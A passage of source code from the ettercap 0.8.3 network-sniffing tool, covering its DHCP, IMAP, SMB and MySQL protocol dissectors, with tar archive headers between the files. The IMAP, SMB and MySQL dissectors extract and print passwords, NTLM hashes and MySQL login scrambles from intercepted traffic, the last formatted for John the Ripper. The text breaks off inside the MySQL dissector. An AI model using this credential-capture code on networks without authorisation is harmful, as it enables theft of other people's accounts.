FUNC_DECODER(dissector_dhcp); void dhcp_init(void); u_int8 * get_dhcp_option(u_int8 opt, u_int8 *ptr, u_int8 *end); void put_dhcp_option(u_int8 opt, u_int8 *value, u_int8 len, u_int8 **ptr); static void dhcp_add_profile(struct ip_addr *sa, size_t flag); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init dhcp_init(void) { dissect_add("dhcp", APP_LAYER_UDP, 67, dissector_dhcp); } FUNC_DECODER(dissector_dhcp) { DECLARE_DISP_PTR_END(ptr, end); char tmp[MAX_ASCII_ADDR_LEN]; struct dhcp_hdr *dhcp; u_int8 *options, *opt; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* sanity check */ if (PACKET->DATA.len < sizeof(struct dhcp_hdr)) return NULL; DEBUG_MSG("DHCP --> UDP 68 dissector_dhcp"); /* cast the header and options */ dhcp = (struct dhcp_hdr *)ptr; options = (u_int8 *)(dhcp + 1); /* check for the magic cookie */ if (dhcp->magic != htonl(DHCP_MAGIC_COOKIE)) return NULL; end = ptr + PACKET->DATA.len; /* search the "message type" option */ opt = get_dhcp_option(DHCP_OPT_MSG_TYPE, options, end); /* option not found */ if (opt == NULL) return NULL; /* client requests */ if (FROM_CLIENT("dhcp", PACKET)) { struct ip_addr client; /* clients only send request */ if (dhcp->op != BOOTREQUEST) return NULL; switch (*(opt + 1)) { case DHCP_DISCOVER: DEBUG_MSG("\tDissector_DHCP DISCOVER"); DISSECT_MSG("DHCP: [%s] DISCOVER \n", mac_addr_ntoa(dhcp->chaddr, tmp)); /* HOOK POINT: HOOK_PROTO_DHCP_DISCOVER */ hook_point(HOOK_PROTO_DHCP_DISCOVER, PACKET); break; case DHCP_REQUEST: DEBUG_MSG("\tDissector_DHCP REQUEST"); /* requested ip address */ if ((opt = get_dhcp_option(DHCP_OPT_RQ_ADDR, options, end)) != NULL) { if ((opt + 5) >= end) { // not enough room for an ip address return NULL; } ip_addr_init(&client, AF_INET, opt + 1); } else { /* search if the client already has the ip address */ if (dhcp->ciaddr != 0) { ip_addr_init(&client, AF_INET, (u_char *)&dhcp->ciaddr); } else return NULL; } DISSECT_MSG("DHCP: [%s] REQUEST ", mac_addr_ntoa(dhcp->chaddr, tmp)); DISSECT_MSG("%s\n", ip_addr_ntoa(&client, tmp)); /* HOOK POINT: HOOK_PROTO_DHCP_REQUEST */ hook_point(HOOK_PROTO_DHCP_REQUEST, PACKET); break; } /* server replies */ } else { struct ip_addr netmask; struct ip_addr router; struct ip_addr client; struct ip_addr dns; char domain[64]; char resp; /* servers only send replies */ if (dhcp->op != BOOTREPLY) return NULL; memset(domain, 0, sizeof(domain)); memset(&netmask, 0, sizeof(struct ip_addr)); memset(&router, 0, sizeof(struct ip_addr)); memset(&client, 0, sizeof(struct ip_addr)); memset(&dns, 0, sizeof(struct ip_addr)); resp = *(opt + 1); switch (resp) { case DHCP_ACK: case DHCP_OFFER: if (resp == DHCP_ACK) DEBUG_MSG("\tDissector_DHCP ACK"); else { DEBUG_MSG("\tDissector_DHCP OFFER"); } /* get the assigned ip */ ip_addr_init(&client, AF_INET, (u_char *)&dhcp->yiaddr ); /* netmask */ if ((opt = get_dhcp_option(DHCP_OPT_NETMASK, options, end)) != NULL) ip_addr_init(&netmask, AF_INET, opt + 1); /* default gateway */ if ((opt = get_dhcp_option(DHCP_OPT_ROUTER, options, end)) != NULL) ip_addr_init(&router, AF_INET, opt + 1); /* dns server */ if ((opt = get_dhcp_option(DHCP_OPT_DNS, options, end)) != NULL) ip_addr_init(&dns, AF_INET, opt + 1); DISSECT_MSG("DHCP: [%s] %s : ", ip_addr_ntoa(&PACKET->L3.src, tmp), (resp == DHCP_ACK) ? "ACK" : "OFFER"); DISSECT_MSG("%s ", ip_addr_ntoa(&client, tmp)); DISSECT_MSG("%s ", ip_addr_ntoa(&netmask, tmp)); DISSECT_MSG("GW %s ", ip_addr_ntoa(&router, tmp)); if (!ip_addr_is_zero(&dns)) { DISSECT_MSG("DNS %s ", ip_addr_ntoa(&dns, tmp)); } /* dns domain */ if ((opt = get_dhcp_option(DHCP_OPT_DOMAIN, options, end)) != NULL) { strncpy(domain, (const char*)(opt + 1), MIN(*opt, sizeof(domain)) ); DISSECT_MSG("\"%s\"\n", domain); } else DISSECT_MSG("\n"); /* add the GW and the DNS to hosts' profiles */ if (!ip_addr_is_zero(&router)) dhcp_add_profile(&router, FP_GATEWAY | FP_HOST_LOCAL); if (!ip_addr_is_zero(&dns)) dhcp_add_profile(&dns, FP_UNKNOWN); // look for the option 81 in ack's if (resp == DHCP_ACK && (opt = get_dhcp_option(DHCP_OPT_FQDN, options, end)) != NULL) { u_char size = opt[0]; if ((opt + size + 2) > end || size < 3) { // the +2 accounts for a-rr and ptr-rr return NULL; } // check flags for the ascii encoding u_char flags = opt[1]; if (flags & 0x04) { // TODO support wire format (aka dns style) return NULL; } // create a null terminated string to pass to resolv char* name = NULL; SAFE_CALLOC(name, size - 2, sizeof(char)); memcpy(name, opt + 4, size - 2); name[size - 3] = 0; resolv_cache_insert_passive(&client, name); SAFE_FREE(name); } break; } } return NULL; } /* * return the pointer to the named option * or NULL if not found * ptr will point to the length of the option */ u_int8 * get_dhcp_option(u_int8 opt, u_int8 *ptr, u_int8 *end) { do { /* we have found our option */ if (*ptr == opt) return ptr + 1; /* * move thru options : * * OPT LEN .. .. .. OPT LEN .. .. */ ptr = ptr + 2 + (*(ptr + 1)); } while (ptr < end && *ptr != DHCP_OPT_END); return NULL; } /* * put an option into the buffer, the ptr will be * move after the options just inserted. */ void put_dhcp_option(u_int8 opt, u_int8 *value, u_int8 len, u_int8 **ptr) { u_int8 *p = *ptr; /* the options type */ *p++ = opt; /* the len of the option */ *p++ = len; /* copy the value */ memcpy(p, value, len); /* move the pointer */ p += len; *ptr = p; } /* * create a fake packet object to feed the profile_parse function */ static void dhcp_add_profile(struct ip_addr *sa, size_t flag) { struct packet_object po; DEBUG_MSG("dhcp_add_profile"); /* wipe the object */ memset(&po, 0, sizeof(struct packet_object)); memcpy(&po.L3.src, sa, sizeof(struct ip_addr)); /* this is a ludicrious(tm) lie ! * in order to add the host to the profiles we pretend * to have seen an icmp from it */ po.L4.proto = NL_TYPE_ICMP; po.PASSIVE.flags = flag; /* HOOK POINT: HOOK_PROTO_DHCP_PROFILE */ /* used by profile_parse and log_packet */ hook_point(HOOK_PROTO_DHCP_PROFILE, &po); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_imap.c0000644000175000017500000002156113505247364017713 0ustar koeppeakoeppea/* ettercap -- dissector IMAP -- TCP 143 220 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ /* * The authentication schema can be found here: * * ftp://ftp.rfc-editor.org/in-notes/rfc1730.txt * ftp://ftp.rfc-editor.org/in-notes/rfc1731.txt * * we currently support: * - LOGIN * - AUTHENTICATE LOGIN */ #include #include #include #include #include /* protos */ FUNC_DECODER(dissector_imap); void imap_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init imap_init(void) { dissect_add("imap", APP_LAYER_TCP, 143, dissector_imap); dissect_add("imap", APP_LAYER_TCP, 220, dissector_imap); sslw_dissect_add("imaps", 993, dissector_imap, SSL_ENABLED); } FUNC_DECODER(dissector_imap) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* the connection is starting... create the session */ CREATE_SESSION_ON_SYN_ACK("imap", s, dissector_imap); /* create the session even if we are into an ssl tunnel */ CREATE_SESSION_ON_SYN_ACK("imaps", s, dissector_imap); /* check if it is the first packet sent by the server */ IF_FIRST_PACKET_FROM_SERVER_SSL("smtp", "ssmtp", s, ident, dissector_imap) { DEBUG_MSG("\tdissector_imap BANNER"); /* * get the banner * "* OK banner" */ /* skip the number, go to response */ while(*ptr != ' ' && ptr != end) ptr++; /* reached the end */ if (ptr == end) return NULL; if (!strncmp((const char*)ptr, " OK ", 4)) { PACKET->DISSECTOR.banner = strdup((const char*)ptr + 3); /* remove the \r\n */ if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.banner, '\r')) != NULL ) *ptr = '\0'; } } ENDIF_FIRST_PACKET_FROM_SERVER(s, ident) /* skip messages coming from the server */ if (FROM_SERVER("imap", PACKET) || FROM_SERVER("imaps", PACKET)) return NULL; /* skip empty packets (ACK packets) */ if (PACKET->DATA.len == 0) return NULL; DEBUG_MSG("IMAP --> TCP dissector_imap"); /* skip the number, move to the command * if there is no space in the line, we are * probably already transferring credentials */ if (strchr((char*)ptr, ' ')) { while(*ptr != ' ' && ptr != end) ptr++; } /* reached the end */ if (ptr == end) return NULL; /* * LOGIN authentication: * * n LOGIN user pass */ if ( !strncasecmp((const char*)ptr, " LOGIN ", 7) ) { DEBUG_MSG("\tDissector_imap LOGIN"); ptr += 7; PACKET->DISSECTOR.user = strdup((const char*)ptr); /* split the string */ if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.user, ' ')) != NULL ) *ptr = '\0'; else { SAFE_FREE(PACKET->DISSECTOR.user); return NULL; } /* save the second part */ PACKET->DISSECTOR.pass = strdup((const char*)ptr + 1); if ( (ptr = (u_char*)strchr(PACKET->DISSECTOR.pass, '\r')) != NULL ) *ptr = '\0'; /* print the message */ DISSECT_MSG("IMAP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); return NULL; } /* * AUTHENTICATE LOGIN * * digest(user) * digest(pass) * * the digests are in base64 */ if ( !strncasecmp((const char*)ptr, " AUTHENTICATE LOGIN", 19) ) { DEBUG_MSG("\tDissector_imap AUTHENTICATE LOGIN"); /* destroy any previous session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_imap)); /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_imap)); /* remember the state (used later) */ s->data = strdup("AUTH"); /* save the session */ session_put(s); /* username is in the next packet */ return NULL; } /* * AUTHENTICATE PLAIN * * digest(authcid+\0+user+\0+pass) * * the digest is in base64 * * we ignore the authzid (authorization identity) for now */ if ( !strncasecmp((const char*)ptr, " AUTHENTICATE PLAIN", 19) ) { DEBUG_MSG("\tDissector_imap AUTHENTICATE PLAIN"); /* destroy any previous session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_imap)); /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_imap)); /* remember the state (used later) */ s->data = strdup("PLAIN"); /* save the session */ session_put(s); /* username is in the next packet */ return NULL; } /* search the session (if it exist) */ dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_imap)); if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); return NULL; } SAFE_FREE(ident); /* the session is invalid */ if (s->data == NULL) { dissect_wipe_session(PACKET, DISSECT_CODE(dissector_imap)); return NULL; } if (!strcmp(s->data, "AUTH")) { char *user; int i; DEBUG_MSG("\tDissector_imap AUTHENTICATE LOGIN USER"); /* username is encoded in base64 */ i = base64decode((const char*)ptr, &user); SAFE_FREE(s->data); /* store the username in the session */ SAFE_CALLOC(s->data, strlen("AUTH USER ") + i + 1, sizeof(char) ); snprintf(s->data, strlen("AUTH USER ") + i + 1, "AUTH USER %s", user); SAFE_FREE(user); /* pass is in the next packet */ return NULL; } if (!strncmp(s->data, "AUTH USER", 9)) { char *pass; DEBUG_MSG("\tDissector_imap AUTHENTICATE LOGIN PASS"); //SAFE_CALLOC(pass, strlen((const char*)ptr), sizeof(char)); /* password is encoded in base64 */ base64decode((const char *)ptr, &pass); /* fill the structure */ PACKET->DISSECTOR.user = strdup(s->data + strlen("AUTH USER ")); PACKET->DISSECTOR.pass = strdup(pass); SAFE_FREE(pass); /* destroy the session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_imap)); /* print the message */ DISSECT_MSG("IMAP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); return NULL; } if (!strcmp(s->data, "PLAIN")) { char *cred; char *cred_end; char *p; int i; DEBUG_MSG("\tDissector_imap AUTHENTICATE PLAIN USER/PASS"); /* password is encoded in base64 */ i = base64decode((const char *)ptr, &cred); p = cred; cred_end = cred+i; if (p > cred_end) { SAFE_FREE(cred); dissect_wipe_session(PACKET, DISSECT_CODE(dissector_imap)); return NULL; } /* move to the username right after the first \0 */ while(*p && p!=cred_end) p++; if (p!=cred_end) p++; /* fill the structure */ PACKET->DISSECTOR.user = strdup(p); /* now find the password right after the first \0 in cred */ while(*p && p!=cred_end) p++; if (p!=cred_end) p++; PACKET->DISSECTOR.pass = strdup(p); SAFE_FREE(cred); /* destroy the session */ dissect_wipe_session(PACKET, DISSECT_CODE(dissector_imap)); /* print the message */ DISSECT_MSG("IMAP : %s:%d -> USER: %s PASS: %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); return NULL; } return NULL; } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_smb.c0000644000175000017500000003470313505247364017550 0ustar koeppeakoeppea/* ettercap -- dissector smb -- TCP 139, 445 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include typedef struct { u_char proto[4]; u_char cmd; u_char err[4]; u_char flags1; u_short flags2; u_short pad[6]; u_short tid, pid, uid, mid; } SMB_header; typedef struct { u_char mesg; u_char flags; u_short len; } NetBIOS_header; typedef struct { u_char challenge[8]; u_char response1[24]; /* LM response OR cleartext password */ u_char response2[24]; /* NTLM respones */ #define MAX_USER_LEN 28 u_char user[MAX_USER_LEN]; u_char domain[MAX_USER_LEN]; u_char status; #define WAITING_PLAIN_TEXT 1 #define WAITING_CHALLENGE 2 #define WAITING_RESPONSE 3 #define WAITING_ENCRYPT 4 #define WAITING_LOGON_RESPONSE 5 #define LOGON_COMPLETED_OK 6 #define LOGON_COMPLETED_FAILURE 7 u_char auth_type; #define PLAIN_TEXT_AUTH 1 #define CHALLENGE_RESPONSE_AUTH 2 #define NTLMSSP_AUTH 3 } smb_session_data; #define IF_IN_PCK(x,y) if((x) >= y->packet && (x) < (y->packet + y->len) ) /* protos */ FUNC_DECODER(dissector_smb); void smb_init(void); unsigned char *GetUser(unsigned char *user, unsigned char *dest, int len); void GetBinaryE(unsigned char *binary, char *dest, int len); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init smb_init(void) { dissect_add("smb", APP_LAYER_TCP, 139, dissector_smb); dissect_add("smb", APP_LAYER_TCP, 445, dissector_smb); } FUNC_DECODER(dissector_smb) { u_char *ptr; struct ec_session *s = NULL; smb_session_data *session_data; void *ident = NULL; SMB_header *smb; NetBIOS_header *NetBIOS; char tmp[MAX_ASCII_ADDR_LEN]; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; ptr = PACKET->DATA.data; /* Catch netbios and smb headers */ NetBIOS = (NetBIOS_header *)ptr; smb = (SMB_header *)(NetBIOS + 1); /* Let's go to the data */ ptr = (u_char *)(smb + 1); dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_smb)); /* Is this a brand new session? */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { SAFE_FREE(ident); /* Check if it's smb */ if (memcmp(smb->proto, "\xffSMB", 4) != 0) return NULL; /* Negotiate Protocol Response */ if (smb->cmd == 0x72 && FROM_SERVER("smb", PACKET)) { PACKET->DISSECTOR.banner = strdup("SMB"); /* Create the session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_smb)); SAFE_CALLOC(s->data, 1, sizeof(smb_session_data)); session_put(s); session_data = (smb_session_data *)s->data; /* HOOK POINT: HOOK_PROTO_SMB */ hook_point(HOOK_PROTO_SMB, PACKET); /* * Check the Security Mode * 010 (encrypted) 000 (plaintext) */ if (!(ptr[3] & 2)) { session_data->auth_type = PLAIN_TEXT_AUTH; session_data->status = WAITING_PLAIN_TEXT; } else { ptr += (*ptr) * 2; /* Last Word Field */ /* Check Encryption Key Len */ if (*ptr != 0) { ptr += 3; /* Got to Blob */ memcpy(session_data->challenge, ptr, 8); session_data->status = WAITING_ENCRYPT; session_data->auth_type = CHALLENGE_RESPONSE_AUTH; } else { /* If the challenge is not in this packet */ session_data->status = WAITING_CHALLENGE; session_data->auth_type = NTLMSSP_AUTH; } } } /* Session Setup if Negotiate Protocol has been done */ if (smb->cmd == 0x73 && FROM_CLIENT("smb", PACKET)) { ptr += ( (*ptr) * 2 + 3 ); if ( (ptr = (u_char *)memmem(ptr, 128, "NTLMSSP", 8)) == NULL) return NULL; if (ptr[8]!=1) return NULL; /* Create the session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_smb)); SAFE_CALLOC(s->data, 1, sizeof(smb_session_data)); session_put(s); session_data = (smb_session_data *)s->data; session_data->status = WAITING_CHALLENGE; session_data->auth_type = NTLMSSP_AUTH; /* HOOK POINT: HOOK_PACKET_SMB_CHL */ hook_point(HOOK_PROTO_SMB_CHL, PACKET); } } else { SAFE_FREE(ident); session_data = (smb_session_data *)s->data; if (FROM_CLIENT("smb", PACKET)) { if (session_data->status == LOGON_COMPLETED_OK || session_data->status == LOGON_COMPLETED_FAILURE) { /* Logon negotiation completed. It's time to dump passwords */ PACKET->DISSECTOR.user = strdup((const char*)session_data->user); /* We get domain information */ if (session_data->domain[0] != 0) { SAFE_CALLOC(PACKET->DISSECTOR.info, MAX_USER_LEN + 16, sizeof(char)); snprintf(PACKET->DISSECTOR.info, MAX_USER_LEN + 16, "DOMAIN: %s", session_data->domain); } if (session_data->auth_type == PLAIN_TEXT_AUTH) { PACKET->DISSECTOR.pass = strdup((const char*)session_data->response1); DISSECT_MSG("SMB : %s:%d -> USER: %s PASS: %s ", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); } else { char ascii_hash[256]; snprintf(ascii_hash, 40, "%s:\"\":\"\":", session_data->user); GetBinaryE(session_data->response1, ascii_hash, 24); strcat(ascii_hash, ":"); GetBinaryE(session_data->response2, ascii_hash, 24); strcat(ascii_hash, ":"); GetBinaryE(session_data->challenge, ascii_hash, 8); PACKET->DISSECTOR.pass = strdup(ascii_hash); DISSECT_MSG("SMB : %s:%d -> USER: %s HASH: %s", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); /* Call hook point when negotation is complete */ hook_point(HOOK_PROTO_SMB_CMPLT, PACKET); } if (PACKET->DISSECTOR.info!=NULL) DISSECT_MSG(" %s", PACKET->DISSECTOR.info); if (session_data->status == LOGON_COMPLETED_FAILURE) { PACKET->DISSECTOR.failed = 1; DISSECT_MSG(" (Login Failed)\n"); } else DISSECT_MSG("\n"); /* Catch multiple retries for NTLMSSP */ if (session_data->auth_type == NTLMSSP_AUTH && session_data->status == LOGON_COMPLETED_FAILURE) session_data->status = WAITING_CHALLENGE; else dissect_wipe_session(PACKET, DISSECT_CODE(dissector_smb)); return NULL; } /* Check if it's smb */ if (memcmp(smb->proto, "\xffSMB", 4) != 0) return NULL; if (smb->cmd == 0x73) { /* Session SetUp Packets */ if (session_data->status == WAITING_PLAIN_TEXT) { u_int16 pwlen, unilen; u_char *Blob; Blob = ptr; Blob += ( (*ptr) * 2 + 3 ); ptr += 15; pwlen = phtos(ptr); /* ANSI password len */ ptr += 2; unilen = phtos(ptr); /* UNICODE password len */ if (pwlen > 1) memcpy(session_data->response1, Blob, sizeof(session_data->response1) - 1); else snprintf((char*)session_data->response1, 8, "(empty)"); IF_IN_PCK(Blob, PACKET) Blob = GetUser(Blob+pwlen+unilen, session_data->user, 200); IF_IN_PCK(Blob, PACKET) GetUser(Blob, session_data->domain, 200); session_data->status = WAITING_LOGON_RESPONSE; } else if (session_data->status == WAITING_CHALLENGE) { /* HOOK POINT: HOOK_PACKET_SMB_CHL */ hook_point(HOOK_PROTO_SMB_CHL, PACKET); } else if (session_data->status == WAITING_RESPONSE) { unsigned char *Blob; /* Jump the Words */ ptr += ( (*ptr) * 2 + 3 ); /* Jump ID String */ if ( (ptr = (u_char *)memmem(ptr, 128, "NTLMSSP", 8)) == NULL) return NULL; Blob = ptr; ptr = (u_char*)strchr((const char*)ptr, 0); ptr++; if (*ptr == 3) { /* Msg Type AUTH */ u_int LM_Offset, LM_Len, NT_Offset, NT_Len, Domain_Offset, Domain_Len, User_Offset, User_Len; ptr += 4; LM_Len = *(u_int16 *)ptr; ptr += 4; LM_Offset = *(u_int32 *)ptr; ptr += 4; NT_Len = *(u_int16 *)ptr; ptr += 4; NT_Offset = *(u_int32 *)ptr; ptr += 4; Domain_Len = *(u_int16 *)ptr; ptr += 4; Domain_Offset = *(u_int32 *)ptr; ptr += 4; User_Len = *(u_int16 *)ptr; ptr += 4; User_Offset = *(u_int32 *)ptr; if (NT_Len != 24) { session_data->status = WAITING_CHALLENGE; return NULL; } IF_IN_PCK((u_char*)Blob+User_Offset, PACKET) GetUser(Blob+User_Offset, session_data->user, User_Len); IF_IN_PCK((u_char*)Blob+Domain_Offset, PACKET) GetUser(Blob+Domain_Offset, session_data->domain, Domain_Len); if (LM_Len == 24) IF_IN_PCK((u_char*)Blob+LM_Offset, PACKET) memcpy(session_data->response1, Blob+LM_Offset, 24); IF_IN_PCK((u_char*)Blob+NT_Offset, PACKET) memcpy(session_data->response2, Blob+NT_Offset, 24); session_data->status = WAITING_LOGON_RESPONSE; } } else if (session_data->status == WAITING_ENCRYPT) { unsigned char *Blob; Blob = ptr; Blob += ( (*ptr) * 2 + 3 ); memcpy(session_data->response1, Blob, 24); memcpy(session_data->response2, Blob + 24, 24); Blob = GetUser(Blob + 48, session_data->user, 200); /* Get the domain with GetUser :) */ GetUser(Blob, session_data->domain, 200); /* XXX - 5-minutes workaround for empty sessions */ if ( !memcmp(session_data->response1, "\x00\x00\x00", 3) && memcmp(session_data->response1, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 24) ) { memset(session_data->response1, 0, 24); memset(session_data->response2, 0, 24); strncpy((char*)session_data->user, "(empty)", 8); session_data->domain[0]=0; } session_data->status = WAITING_LOGON_RESPONSE; } } } else { /* Packets coming from the server */ if (smb->cmd == 0x73) { /* Session SetUp packets */ if (session_data->status == WAITING_CHALLENGE) { ptr += ( (*ptr) * 2 + 3 ); if ( (ptr = (u_char *)memmem(ptr, 128, "NTLMSSP", 8)) == NULL) return NULL; ptr = (u_char*)strchr((const char*)ptr, 0); ptr++; if (*ptr == 2) { ptr += 16; memcpy(session_data->challenge, ptr, 8); session_data->status = WAITING_RESPONSE; } } else if (session_data->status == WAITING_LOGON_RESPONSE) { if(!memcmp(smb->err, "\x00\x00\x00\x00", 4)) session_data->status = LOGON_COMPLETED_OK; else session_data->status = LOGON_COMPLETED_FAILURE; } } } } return NULL; } /* * If the username is Unicode convert into ASCII * XXX - what about strange unicode charsets??? */ unsigned char *GetUser(unsigned char *user, unsigned char *dest, int len) { char Unicode = 1; int i = 0; /* Skip 0 padding for odd unicode chars */ if (user[0] == 0) user++; /* Does anyone uses 2 chars users? I think it's unicode */ if (user[1] == 0) Unicode = 2; while(*user != 0 && i < (MAX_USER_LEN - 1) && len > 0) { *dest = *user; dest++; i++; len -= Unicode; user += Unicode; } if (*user == 0) user += Unicode; *dest = 0; return user; } /* Convert and attach a binary array to ASCII chars */ void GetBinaryE(unsigned char *binary, char *dest, int blen) { char dummy[5]; for (; blen > 0; blen--) { snprintf( dummy, 3, "%02X", *binary); binary++; strcat(dest, dummy); } } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/dissectors/ec_mysql.c0000644000175000017500000001643313505247364020134 0ustar koeppeakoeppea/* ettercap -- dissector MySQL -- TCP 3306 Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include /* protos */ FUNC_DECODER(dissector_mysql); void mysql_init(void); /************************************************/ /* * this function is the initializer. * it adds the entry in the table of registered decoder */ void __init mysql_init(void) { dissect_add("mysql", APP_LAYER_TCP, 3306, dissector_mysql); } #ifdef DEBUG /* XXX - not used??? static void print_hex(unsigned char *str, int len) { int i; for (i = 0; i < len; ++i) printf("%02x", str[i]); printf("\n"); } */ #endif static char itoa16[16] = "0123456789abcdef"; static inline void hex_encode(unsigned char *str, int len, unsigned char *out) { int i; for (i = 0; i < len; ++i) { out[0] = itoa16[str[i]>>4]; out[1] = itoa16[str[i]&0xF]; out += 2; } } FUNC_DECODER(dissector_mysql) { DECLARE_DISP_PTR_END(ptr, end); struct ec_session *s = NULL; void *ident = NULL; char tmp[MAX_ASCII_ADDR_LEN]; int old_mysql = 0; unsigned char input[20]; unsigned char output[41]; int has_password = 0; /* don't complain about unused var */ (void) DECODE_DATA; (void) DECODE_DATALEN; (void) DECODED_LEN; /* Skip ACK packets */ if (PACKET->DATA.len == 0) return NULL; dissect_create_ident(&ident, PACKET, DISSECT_CODE(dissector_mysql)); /* Packets coming from the server */ if (FROM_SERVER("mysql", PACKET)) { /* if the session does not exist... */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == -E_NOTFOUND) { u_int index = 5; /* Check magic numbers and catch the banner */ if (!memcmp(ptr + 1, "\x00\x00\x00\x0a\x33\x2e", 6)) { DEBUG_MSG("\tdissector_mysql BANNER"); PACKET->DISSECTOR.banner = strdup("MySQL v3.xx.xx"); old_mysql = 1; } else if (!memcmp(ptr + 1, "\x00\x00\x00\x0a\x34\x2e", 6)) { DEBUG_MSG("\tdissector_mysql BANNER"); PACKET->DISSECTOR.banner = strdup("MySQL v4.xx.xx"); old_mysql = 1; } else if (PACKET->DATA.len - 4 == ptr[0] && ptr[3] == 0 && ptr[4] == 10) { /* check Packet Length + Packet Number + Protocol */ DEBUG_MSG("\tdissector_mysql BANNER"); PACKET->DISSECTOR.banner = strdup("MySQL v5.xx.xx"); } else { SAFE_FREE(ident); return NULL; } if(old_mysql) { /* Search for 000 padding */ while( (ptr + index) < end && ((ptr[index] != 0) && (ptr[index - 1] != 0) && (ptr[index - 2] != 0)) ) index++; } /* create the new session */ dissect_create_session(&s, PACKET, DISSECT_CODE(dissector_mysql)); s->flag = 0; if(old_mysql) { /* Save the seed */ s->data = strdup((const char*)ptr + index + 1); s->flag = 1; } else { int length; unsigned char seed[20]; ptr += 5; /* skip over Packet Length + Packet Number + protocol_version*/ length = strlen((const char*)ptr); ptr += (length + 1 + 4); /* skip over Version + Thread ID */ s->data = malloc(41); if (s->data == NULL) { /* oops, couldn't get memory */ DEBUG_MSG("\tUnable to allocate memory in Dissector..."); return NULL; } memcpy(seed, ptr, 8); ptr += (8 + 1 + 2 + 1 + 2 + 13); memcpy(seed + 8, ptr, 12); hex_encode(seed, 20, output); output[40] = 0; memcpy(s->data, output ,41); } /* save the session */ session_put(s); } } else { /* Packets coming from the client */ /* Only if we catched the connection from the beginning */ if (session_get(&s, ident, DISSECT_IDENT_LEN) == E_SUCCESS) { if(!s->flag) { DEBUG_MSG("\tDissector_mysq DUMP ENCRYPTED"); /* Reach and save the username */ ptr += 36; PACKET->DISSECTOR.user = strdup((const char*)ptr); /* Reach the encrypted password */ ptr += (strlen(PACKET->DISSECTOR.user) + 1 + 1); if(ptr < end) { memcpy(input, ptr, 20); hex_encode(input, 20, output); output[40] = 0; has_password = 1; int length = strlen(s->data) + 256; SAFE_CALLOC(PACKET->DISSECTOR.pass, length, sizeof(char)); snprintf(PACKET->DISSECTOR.pass, length, "Seed:%s Encrypted:%s", (char *)s->data, output); } else { PACKET->DISSECTOR.pass = strdup("No Password!!!"); } DISSECT_MSG("MYSQL : %s:%d -> USER:%s %s\n", ip_addr_ntoa(&PACKET->L3.dst, tmp), ntohs(PACKET->L4.dst), PACKET->DISSECTOR.user, PACKET->DISSECTOR.pass); if(has_password) { /* output format for JtR */ DISSECT_MSG("%s*%d*%s:$mysqlna$%s*%s\n", 